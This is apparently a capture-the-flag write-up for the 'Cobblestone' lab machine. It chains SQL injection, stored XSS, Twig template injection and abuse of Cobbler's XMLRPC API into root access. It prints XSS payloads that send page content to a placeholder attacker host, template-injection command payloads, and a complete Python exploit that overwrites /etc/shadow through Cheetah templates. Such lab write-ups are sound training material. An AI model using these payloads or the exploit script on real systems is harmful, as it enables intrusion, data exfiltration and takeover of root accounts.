Cobblestone
Reconnaissance
Port Scan
Nmap reveals a minimal Linux attack surface:
- 22/tcp - OpenSSH 9.2p1 (Debian 12)
- 80/tcp - Apache 2.4.62 (Debian), redirects to
cobblestone.htb
Web Enumeration
The main site is a Minecraft server web portal (template by Billy - bybilly.uk). Further enumeration reveals three virtual hosts:
| Vhost | Description |
|---|---|
cobblestone.htb | Main site - skins panel (/skins.php), file download (/download.php) |
vote.cobblestone.htb | Voting/suggestion form - SQL Injection |
deploy.cobblestone.htb | "Still under development" |
The skins panel has a login form, and after logging in it's possible to "suggest" skins.
Initial Access - SQL Injection → XSS → SSTI → RCE
SQL Injection - vote.cobblestone.htb
The url parameter in POST /suggest.php is vulnerable to SQL injection (UNION, boolean-based, time-based). The backend is MariaDB.
sqlmap -r req.txt
The voteuser DB account has the FILE privilege, enabling arbitrary file reads via LOAD_FILE().
Source Code Leak via LOAD_FILE
Key findings from reading PHP source code through SQL injection:
/var/www/html/db/connection.php- DB credentials:dbuser:aichooDeeYanaekungei9rogi0eMuo2o/var/www/html/skins.php- Uses Twig templates; admin panel has upload, user management, andpreview_banner.phpwhich renders user input through Twig/var/www/html/download.php- Protected against path traversal (basename()+realpath())
Stored XSS → Admin Panel Exfiltration
The "Suggest Skin" form's URL field is not escaped in the admin's Twig template. An admin bot periodically reviews suggestions, but cookies are HttpOnly - so we use XSS to exfiltrate the admin panel PHP instead:
"><img src=x onerror="fetch('/skins.php').then(r=>r.text()).then(t=>fetch('http://ATTACKER/',{method:'POST',body:t}))">
"><img src=x onerror="fetch('/skins_app_admin_server_info.php').then(r=>r.text()).then(t=>fetch('http://ATTACKER/',{method:'POST',body:t}))">
From the exfiltrated PHP we discover:
preview_banner.php- rendersfirstPOST parameter through Twig → SSTI!skins_app_admin_server_info.php- contains fullphpinfo()output
phpinfo Leak → Session Hijack
The phpinfo page reveals:
- PHP 8.2.29,
disable_functionsempty,open_basedirempty session.cookie_httponly = On- confirms we can't steal cookies via JS- The admin bot's PHPSESSID is visible in the phpinfo output
Using the leaked PHPSESSID, we hijack the admin session directly.
SSTI → RCE as www-data
With the admin session, we confirm SSTI in preview_banner.php:
# Confirm SSTI
curl -b "PHPSESSID=<admin_session>" -X POST http://cobblestone.htb/preview_banner.php \
-d "first={{7*7}}"
# Output: Welcome 49
# RCE
curl -b "PHPSESSID=<admin_session>" -X POST http://cobblestone.htb/preview_banner.php \
-d "first={{['id']|filter('system')}}"
# Output: uid=33(www-data)
A reverse shell fails because AppArmor restricts www-data - denying bash, sh, python3, nc, perl. Only dash is allowed, plus read-only file access.
Database Dump → SSH Credentials
Using the SSTI webshell, we dump the cobblestone database with mysqldump:
mysqldump -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone
| User | SHA-256 Hash | Cracked |
|---|---|---|
| admin | f4166d263... | ❌ |
| cobble | 20cdc5073... | iluvdannymorethanyouknow ✅ |
User - SSH as cobble
ssh cobble@cobblestone.htb
# password: iluvdannymorethanyouknow
The user is in a chroot jail (ChrootDirectory /home/chroot_jail in sshd_config) with rbash, limited to only 6 binaries: cat, grep, ls, ps, rbash, ss.
user.txt is directly readable in the home directory.
Privilege Escalation - Cobbler XMLRPC API Abuse
Discovery
From the limited rbash shell, ss reveals Cobbler's XMLRPC API listening locally:
cobble@cobblestone:~$ ss -tlnp | grep 25151
LISTEN 0 5 127.0.0.1:25151 0.0.0.0:*
SSH Tunnel
Since the API only listens on localhost, we forward it through the SSH tunnel:
ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb -N
API Enumeration
After trying various credentials, the default cobbler:cobbler works. We enumerate the API to understand what's available:
#!/usr/bin/env python3
"""Cobbler XMLRPC API enumeration"""
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151')
token = s.login('cobbler', 'cobbler')
print(f"[+] Token: {token}")
print(f"[+] Version: {s.extended_version()}")
print(f"[+] User: {s.get_user_from_token(token)}")
# Collections
for col in ['distros', 'profiles', 'systems', 'repos', 'images']:
items = getattr(s, f'get_{col}')(token)
names = [i.get('name') for i in items] if items else []
print(f"[+] {col}: {names}")
# Templates & snippets
print(f"[+] Templates: {s.get_autoinstall_templates(token)}")
print(f"[+] Snippets: {s.get_autoinstall_snippets(token)}")
# Test modify_setting
s.modify_setting("allow_dynamic_settings", True, token)
print("[+] allow_dynamic_settings set to True")
[+] Version: {'version': '3.3.6', 'builddate': 'Mon Sep 30 10:40:10 2024', ...}
[+] Templates: ['default.ks', 'esxi4-ks.cfg', 'sample.ks', ...]
[+] allow_dynamic_settings set to True
Key findings: Cobbler 3.3.6, modify_setting works, templates are writable, and generate_autoinstall can render Cheetah templates. Since cobblerd runs as root, template rendering executes as root.
System Enumeration via File Read
Python's built-in open() is available in Cheetah templates without imports - it bypasses the cheetah_import_whitelist. After creating a distro + profile (required for generate_autoinstall), we use this to read system files:
#!/usr/bin/env python3
"""Read arbitrary files via Cheetah open() builtin"""
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151')
token = s.login('cobbler', 'cobbler')
s.modify_setting("allow_dynamic_settings", True, token)
PROFILE = "rce_profile"
# Create distro + profile (one-time setup)
try:
dh = s.new_distro(token)
s.modify_distro(dh, "name", "rce_distro", token)
s.modify_distro(dh, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)
s.modify_distro(dh, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)
s.save_distro(dh, token)
ph = s.new_profile(token)
s.modify_profile(ph, "name", PROFILE, token)
s.modify_profile(ph, "distro", "rce_distro", token)
s.save_profile(ph, token)
except: pass
# Read files
for path in ["/root/root.txt", "/etc/ssh/sshd_config", "/etc/shadow"]:
tpl = f'#set $f = open("{path}")\n$f.read()\n'
s.write_autoinstall_template("read.ks", tpl, token)
ph = s.get_profile_handle(PROFILE, token)
s.modify_profile(ph, "autoinstall", "read.ks", token)
s.save_profile(ph, token)
result = s.generate_autoinstall(PROFILE).strip()
print(f"=== {path} ===")
print(result)
print()
/etc/ssh/sshd_config reveals:
PermitRootLogin yes
PubkeyAuthentication no
PasswordAuthentication yes
Match User cobble
ChrootDirectory /home/chroot_jail
PubkeyAuthentication no- writing SSH keys won't workPermitRootLogin yes+PasswordAuthentication yes- root can SSH with passwordChrootDirectory /home/chroot_jail- confirms why cobble sees a restricted filesystem
/etc/shadow reveals yescrypt password hashes for both root and cobble. Since we know cobble's password and its corresponding hash, we can swap root's hash with cobble's.
Root Exploit
Full exploit:
#!/usr/bin/env python3
"""
Cobblestone HTB - Cobbler 3.3.6 Root Exploit
Requires SSH tunnel: ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb -N
"""
import xmlrpc.client
import sys
SERVER = "http://127.0.0.1:25151"
PROFILE = "rce_profile"
def cheetah_read(s, token, filepath):
tpl = f'#set $f = open("{filepath}")\n$f.read()\n'
s.write_autoinstall_template("exploit.ks", tpl, token)
ph = s.get_profile_handle(PROFILE, token)
s.modify_profile(ph, "autoinstall", "exploit.ks", token)
s.save_profile(ph, token)
return s.generate_autoinstall(PROFILE).strip()
def cheetah_write(s, token, filepath, content):
tpl = (
f'#set $f = open("{filepath}", "w")\n'
f'#set $_ = $f.write("""{content}""")\n'
f'#set $_ = $f.close()\ndone\n'
)
s.write_autoinstall_template("exploit.ks", tpl, token)
ph = s.get_profile_handle(PROFILE, token)
s.modify_profile(ph, "autoinstall", "exploit.ks", token)
s.save_profile(ph, token)
return s.generate_autoinstall(PROFILE).strip()
s = xmlrpc.client.ServerProxy(SERVER)
token = s.login("cobbler", "cobbler")
print(f"[+] Token: {token}")
print(f"[+] Version: {s.extended_version()['version']}")
# Enable dynamic settings + create distro/profile
s.modify_setting("allow_dynamic_settings", True, token)
try:
dh = s.new_distro(token)
s.modify_distro(dh, "name", "rce_distro", token)
s.modify_distro(dh, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)
s.modify_distro(dh, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)
s.save_distro(dh, token)
ph = s.new_profile(token)
s.modify_profile(ph, "name", PROFILE, token)
s.modify_profile(ph, "distro", "rce_distro", token)
s.save_profile(ph, token)
except: pass
# Read root flag
flag = cheetah_read(s, token, "/root/root.txt")
print(f"[+] Root flag: {flag}")
# Read /etc/shadow and swap root hash with cobble's
shadow = cheetah_read(s, token, "/etc/shadow")
root_hash = [l.split(":")[1] for l in shadow.split("\n") if l.startswith("root:")][0]
cobble_hash = [l.split(":")[1] for l in shadow.split("\n") if l.startswith("cobble:")][0]
new_shadow = shadow.replace(root_hash, cobble_hash, 1)
result = cheetah_write(s, token, "/etc/shadow", new_shadow)
print(f"[+] Shadow swap: {result}")
print(f"[+] SSH as root: ssh root@cobblestone.htb (password: iluvdannymorethanyouknow)")
ssh root@cobblestone.htb
# password: iluvdannymorethanyouknow
Attack Chain Summary
Port 80 (cobblestone.htb)
│
├─ vote.cobblestone.htb: SQL Injection (UNION + FILE priv)
│ └─ LOAD_FILE → source code leak (connection.php, skins.php)
│
├─ Stored XSS in skin suggestion → exfiltrate admin panel HTML
│ └─ Discover preview_banner.php (SSTI) + phpinfo (session leak)
│
├─ phpinfo → admin bot PHPSESSID → session hijack
│
├─ SSTI in preview_banner.php → RCE as www-data
│ └─ AppArmor restricts shells, but mysqldump works
│ └─ DB dump → cobble:iluvdannymorethanyouknow (SHA-256 crack)
│
├─ SSH as cobble (rbash + chroot jail) → user.txt
│
└─ Cobbler 3.3.6 XMLRPC API (127.0.0.1:25151)
├─ Default creds: cobbler:cobbler
├─ modify_setting → allow_dynamic_settings
├─ Cheetah template open() → arbitrary file read/write as root
└─ /etc/shadow password hash swap → SSH as root → root.txt
Key Takeaways
- SQL Injection to source code leak -
FILEprivilege in MariaDB enablesLOAD_FILE()for reading arbitrary server files, turning blind SQLi into full source code analysis - XSS → SSTI chaining - When cookies are HttpOnly, XSS can still exfiltrate page content to discover server-side vulnerabilities like SSTI in admin-only features
- phpinfo session leak -
phpinfo()pages expose active session IDs, enabling direct session hijacking even when cookies can't be stolen through JavaScript - AppArmor bypass - While AppArmor blocked common shells and tools for www-data,
mysqldumpwas allowed, enabling credential extraction through a different path - Cobbler default credentials - The XMLRPC API accepted
cobbler:cobbler, providing authenticated access to a service running as root - Cheetah template engine abuse - Python's built-in
open()function is not restricted by Cobbler'scheetah_import_whitelist, providing arbitrary file read/write through template rendering - Password hash swap - When SSH key authentication is disabled, modifying
/etc/shadowto replace root's password hash with a known hash provides an alternative path to root shell
